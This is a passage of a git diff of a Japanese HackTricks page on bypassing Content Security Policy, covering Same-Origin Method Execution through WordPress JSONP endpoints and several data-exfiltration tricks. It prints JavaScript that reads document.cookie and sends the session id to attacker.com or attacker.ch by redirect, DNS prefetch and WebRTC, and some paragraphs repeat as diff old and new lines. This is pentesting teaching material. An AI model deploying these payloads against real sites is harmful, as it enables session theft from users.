SOMEは、**ページのエンドポイント**でのXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法により、**脆弱なエンドポイント**は\*\*`opener`**オブジェクトを**ペイロード\*\*で使用して、**悪用したい実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -675,7 +744,7 @@ SOMEは、**ページのエンドポイント**でのXSSまたは非常に制
さらに、**WordPress**には、`/wp-json/wp/v2/users/1?_jsonp=data`にJSONPエンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限付き)。
攻撃者は、そのエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に埋め込むことができます。この**スクリプト**は**'self'で許可されている**ため、**ロードされます**。さらに、WordPressがインストールされているため、攻撃者は、**CSPをバイパス**してユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりするために**脆弱な** **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。この攻撃の実行方法についての詳細は、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
攻撃者は、そのエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に埋め込むことができます。この**スクリプト**は\*\*'self'で許可されている**ため、ロードされます。さらに、WordPressがインストールされているため、攻撃者は、CSPをバイパスしてユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりするために**脆弱な\*\* **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。この攻撃の実行方法についての詳細は、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
## CSP Exfiltration Bypasses
@ -684,38 +753,48 @@ SOMEは、**ページのエンドポイント**でのXSSまたは非常に制
### Location
単に場所を更新して、秘密情報を攻撃者のサーバーに送信することができます:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### メタタグ
メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決してキャッシュし、後で使用することができます。\
ブラウザにホスト名を事前解決するよう指示することができます: `<link rel="dns-prefetch" href="something.com">`
これを悪用して、DNSリクエストを介して機密情報を**外部に送信**することができます。
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
もう一つの方法:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
サーバーがこれを防ぐために、HTTPヘッダーを送信できます
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません
{% endhint %}
@ -724,11 +803,14 @@ X-DNS-Prefetch-Control: off
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と読むことができます。
実際に、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください:
実際に、\_DNSリクエスト\_を使用して情報を\_漏洩\_させることができます。このコードをチェックしてください:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
もう1つのオプション:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -740,6 +822,7 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## CSPポリシーのオンラインチェック
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
@ -785,7 +868,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

Some files were not shown because too many files have changed in this diff Show more